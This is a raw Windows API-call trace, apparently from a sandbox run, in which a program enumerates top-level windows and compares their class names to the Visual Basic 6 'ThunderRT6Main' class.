[0099.725] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x904
[0099.725] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x100e6
[0099.725] GetClassNameA (in: hWnd=0x100e6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
[0099.725] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
[0099.725] GetWindowThreadProcessId (in: hWnd=0x100e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0099.725] GetWindow (hWnd=0x100e6, uCmd=0x2) returned 0x1002e
[0099.725] GetClassNameA (in: hWnd=0x1002e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.725] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.725] GetWindowThreadProcessId (in: hWnd=0x1002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0099.725] GetWindow (hWnd=0x1002e, uCmd=0x2) returned 0x20198
[0099.725] GetClassNameA (in: hWnd=0x20198, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OpusApp") returned 7
[0099.725] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1
[0099.726] GetWindowThreadProcessId (in: hWnd=0x20198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.726] GetWindowLongA (hWnd=0x20198, nIndex=-16) returned 131006464
[0099.726] GetWindowLongA (hWnd=0x20198, nIndex=-6) returned 1764163584
[0099.726] GetWindowLongA (hWnd=0x20198, nIndex=-6) returned 1764163584
[0099.726] GetWindow (hWnd=0x20198, uCmd=0x2) returned 0x20194
[0099.726] GetClassNameA (in: hWnd=0x20194, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
[0099.726] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
[0099.726] GetWindowThreadProcessId (in: hWnd=0x20194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.726] GetWindowLongA (hWnd=0x20194, nIndex=-16) returned -2080374784
[0099.726] GetWindowLongA (hWnd=0x20194, nIndex=-6) returned 1918304256
[0099.726] IsWindowEnabled (hWnd=0x20194) returned 1
[0099.726] GetPropA (hWnd=0x20194, lpString=0xc13b) returned 0x0
[0099.726] SetPropA (hWnd=0x20194, lpString=0xc13b, hData=0x1) returned 1
[0099.726] EnableWindow (hWnd=0x20194, bEnable=0) returned 0
[0099.726] DefWindowProcA (hWnd=0x20194, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0
[0099.726] DefWindowProcA (hWnd=0x20194, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0
[0099.726] GetWindow (hWnd=0x20194, uCmd=0x2) returned 0x201c8
[0099.726] GetClassNameA (in: hWnd=0x201c8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
[0099.726] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
[0099.726] GetWindowThreadProcessId (in: hWnd=0x201c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.726] GetWindowLongA (hWnd=0x201c8, nIndex=-16) returned -2080374784
[0099.726] GetWindowLongA (hWnd=0x201c8, nIndex=-6) returned 1745813504
[0099.726] GetWindowLongA (hWnd=0x201c8, nIndex=-6) returned 1745813504
[0099.726] GetWindow (hWnd=0x201c8, uCmd=0x2) returned 0x201a4
[0099.726] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
[0099.726] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
[0099.726] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa3c
[0099.726] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x101da
[0099.726] GetClassNameA (in: hWnd=0x101da, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
[0099.726] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
[0099.726] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.726] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2080374784
[0099.726] GetWindowLongA (hWnd=0x101da, nIndex=-6) returned 2001076224
[0099.726] GetWindowLongA (hWnd=0x101da, nIndex=-6) returned 2001076224
[0099.726] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x201ba
[0099.726] GetClassNameA (in: hWnd=0x201ba, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="_WwO") returned 4
[0099.726] lstrcmpA (lpString1="_WwO", lpString2="ThunderRT6Main") returned -1
[0099.726] GetWindowThreadProcessId (in: hWnd=0x201ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.727] GetWindowLongA (hWnd=0x201ba, nIndex=-16) returned -2080374784
[0099.727] GetWindowLongA (hWnd=0x201ba, nIndex=-6) returned 1764163584
[0099.727] GetWindowLongA (hWnd=0x201ba, nIndex=-6) returned 1764163584
[0099.727] GetWindow (hWnd=0x201ba, uCmd=0x2) returned 0x101a8
[0099.727] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16
[0099.727] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1
[0099.727] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0099.727] GetWindowLongA (hWnd=0x101a8, nIndex=-16) returned -2080374784
[0099.727] GetWindowLongA (hWnd=0x101a8, nIndex=-6) returned 19791872
[0099.727] GetWindowLongA (hWnd=0x101a8, nIndex=-6) returned 19791872
[0099.727] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x10188
[0099.727] GetClassNameA (in: hWnd=0x10188, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.727] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.727] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f4
[0099.727] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10186
[0099.727] GetClassNameA (in: hWnd=0x10186, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="projectKentEssaycls") returned 19
[0099.727] lstrcmpA (lpString1="projectKentEssaycls", lpString2="ThunderRT6Main") returned -1
[0099.727] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f4
[0099.727] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10184
[0099.727] GetClassNameA (in: hWnd=0x10184, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.727] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.727] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e4
[0099.727] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10182
[0099.727] GetClassNameA (in: hWnd=0x10182, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="accredited_Reject_Transmitted_window") returned 36
[0099.727] lstrcmpA (lpString1="accredited_Reject_Transmitted_window", lpString2="ThunderRT6Main") returned -1
[0099.727] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e4
[0099.727] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x1017e
[0099.727] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="silentRomantic") returned 14
[0099.727] lstrcmpA (lpString1="silentRomantic", lpString2="ThunderRT6Main") returned -1
[0099.727] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d4
[0099.727] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180
[0099.727] GetClassNameA (in: hWnd=0x10180, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.727] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.727] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d4
[0099.727] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a
[0099.728] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="merit_window") returned 12
[0099.728] lstrcmpA (lpString1="merit_window", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c4
[0099.728] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c
[0099.728] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c4
[0099.728] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176
[0099.728] GetClassNameA (in: hWnd=0x10176, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ping_cls") returned 8
[0099.728] lstrcmpA (lpString1="ping_cls", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4
[0099.728] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178
[0099.728] GetClassNameA (in: hWnd=0x10178, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4
[0099.728] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172
[0099.728] GetClassNameA (in: hWnd=0x10172, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="GarageOpinionsjoyceCincinnatiwindow") returned 35
[0099.728] lstrcmpA (lpString1="GarageOpinionsjoyceCincinnatiwindow", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4
[0099.728] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174
[0099.728] GetClassNameA (in: hWnd=0x10174, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4
[0099.728] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e
[0099.728] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="StatewideEmergencywin") returned 21
[0099.728] lstrcmpA (lpString1="StatewideEmergencywin", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894
[0099.728] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170
[0099.728] GetClassNameA (in: hWnd=0x10170, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894
[0099.728] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a
[0099.728] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Pasonylontestswnd") returned 17
[0099.728] lstrcmpA (lpString1="Pasonylontestswnd", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884
[0099.728] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c
[0099.728] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.728] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884
[0099.729] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166
[0099.729] GetClassNameA (in: hWnd=0x10166, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Herbs_app") returned 9
[0099.729] lstrcmpA (lpString1="Herbs_app", lpString2="ThunderRT6Main") returned -1
[0099.729] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874
[0099.729] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
[0099.729] GetClassNameA (in: hWnd=0x10168, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.729] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874
[0099.729] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
[0099.729] GetClassNameA (in: hWnd=0x10162, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="emerging_Anniversary_muscle_cradle_cls") returned 38
[0099.729] lstrcmpA (lpString1="emerging_Anniversary_muscle_cradle_cls", lpString2="ThunderRT6Main") returned -1
[0099.729] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864
[0099.729] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
[0099.729] GetClassNameA (in: hWnd=0x10164, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.729] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864
[0099.729] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
[0099.729] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Receivedsuggestionsstoppedemphasisclass") returned 39
[0099.729] lstrcmpA (lpString1="Receivedsuggestionsstoppedemphasisclass", lpString2="ThunderRT6Main") returned -1
[0099.729] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854
[0099.729] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
[0099.729] GetClassNameA (in: hWnd=0x10160, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.729] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854
[0099.729] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a
[0099.729] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Pretty_Guru_app") returned 15
[0099.729] lstrcmpA (lpString1="Pretty_Guru_app", lpString2="ThunderRT6Main") returned -1
[0099.729] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844
[0099.729] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c
[0099.729] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.729] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844
[0099.729] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x20154
[0099.729] GetClassNameA (in: hWnd=0x20154, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="collectablesTechnicalwin") returned 24
[0099.729] lstrcmpA (lpString1="collectablesTechnicalwin", lpString2="ThunderRT6Main") returned -1
[0099.729] GetWindowThreadProcessId (in: hWnd=0x20154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834
[0099.729] GetWindow (hWnd=0x20154, uCmd=0x2) returned 0x20142
[0099.730] GetClassNameA (in: hWnd=0x20142, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.730] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834
[0099.730] GetWindow (hWnd=0x20142, uCmd=0x2) returned 0x10156
[0099.730] GetClassNameA (in: hWnd=0x10156, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="shakespeare_class") returned 17
[0099.730] lstrcmpA (lpString1="shakespeare_class", lpString2="ThunderRT6Main") returned -1
[0099.730] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824
[0099.730] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158
[0099.730] GetClassNameA (in: hWnd=0x10158, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.730] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824
[0099.730] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x10150
[0099.730] GetClassNameA (in: hWnd=0x10150, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Clifftypesclass") returned 15
[0099.730] lstrcmpA (lpString1="Clifftypesclass", lpString2="ThunderRT6Main") returned -1
[0099.730] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814
[0099.730] GetWindow (hWnd=0x10150, uCmd=0x2) returned 0x20152
[0099.730] GetClassNameA (in: hWnd=0x20152, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.730] GetWindowThreadProcessId (in: hWnd=0x20152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814
[0099.730] GetWindow (hWnd=0x20152, uCmd=0x2) returned 0x1014a
[0099.730] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="StreamNoMirrorsGrew") returned 19
[0099.730] lstrcmpA (lpString1="StreamNoMirrorsGrew", lpString2="ThunderRT6Main") returned -1
[0099.730] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804
[0099.730] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x2014c
[0099.730] GetClassNameA (in: hWnd=0x2014c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.730] GetWindowThreadProcessId (in: hWnd=0x2014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804
[0099.730] GetWindow (hWnd=0x2014c, uCmd=0x2) returned 0x10144
[0099.730] GetClassNameA (in: hWnd=0x10144, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="CaliforniahateGighits") returned 21
[0099.730] lstrcmpA (lpString1="CaliforniahateGighits", lpString2="ThunderRT6Main") returned -1
[0099.730] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x534
[0099.730] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x20146
[0099.730] GetClassNameA (in: hWnd=0x20146, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.730] GetWindowThreadProcessId (in: hWnd=0x20146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x534
[0099.730] GetWindow (hWnd=0x20146, uCmd=0x2) returned 0x1013c
[0099.730] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Improve_corporate_Vital_wnd") returned 27
[0099.730] lstrcmpA (lpString1="Improve_corporate_Vital_wnd", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x71c
[0099.731] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10140
[0099.731] GetClassNameA (in: hWnd=0x10140, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x71c
[0099.731] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x20134
[0099.731] GetClassNameA (in: hWnd=0x20134, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Guns_marc_window") returned 16
[0099.731] lstrcmpA (lpString1="Guns_marc_window", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x20134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6e8
[0099.731] GetWindow (hWnd=0x20134, uCmd=0x2) returned 0x2013a
[0099.731] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6e8
[0099.731] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x600d4
[0099.731] GetClassNameA (in: hWnd=0x600d4, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="specifieswin") returned 12
[0099.731] lstrcmpA (lpString1="specifieswin", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x600d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x52c
[0099.731] GetWindow (hWnd=0x600d4, uCmd=0x2) returned 0x30132
[0099.731] GetClassNameA (in: hWnd=0x30132, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x30132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x52c
[0099.731] GetWindow (hWnd=0x30132, uCmd=0x2) returned 0x20130
[0099.731] GetClassNameA (in: hWnd=0x20130, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
[0099.731] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x20130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a0
[0099.731] GetWindow (hWnd=0x20130, uCmd=0x2) returned 0x10124
[0099.731] GetClassNameA (in: hWnd=0x10124, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
[0099.731] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0099.731] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122
[0099.731] GetClassNameA (in: hWnd=0x10122, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
[0099.731] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x170
[0099.731] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x20118
[0099.731] GetClassNameA (in: hWnd=0x20118, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
[0099.731] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
[0099.731] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0099.731] GetWindow (hWnd=0x20118, uCmd=0x2) returned 0x1010c
[0099.731] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
[0099.731] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x170
[0099.732] GetWindow (hWnd=0x1010c, uCmd=0x2) returned 0x1010e
[0099.732] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x170
[0099.732] GetWindow (hWnd=0x1010e, uCmd=0x2) returned 0x20020
[0099.732] GetClassNameA (in: hWnd=0x20020, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ATL:73A43188") returned 12
[0099.732] lstrcmpA (lpString1="ATL:73A43188", lpString2="ThunderRT6Main") returned -1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0099.732] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024
[0099.732] GetClassNameA (in: hWnd=0x20024, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0099.732] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20016
[0099.732] GetClassNameA (in: hWnd=0x20016, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
[0099.732] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a0
[0099.732] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x20018
[0099.732] GetClassNameA (in: hWnd=0x20018, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0099.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a0
[0099.732] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001c
[0099.732] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0099.732] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a0
[0099.732] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x100e8
[0099.732] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0099.732] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0099.732] GetWindowThreadProcessId (in: hWnd=0x100e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760
[0099.732] GetWindow (hWnd=0x100e8, uCmd=0x2) returned 0x100e2
[0099.732] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0099.732] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
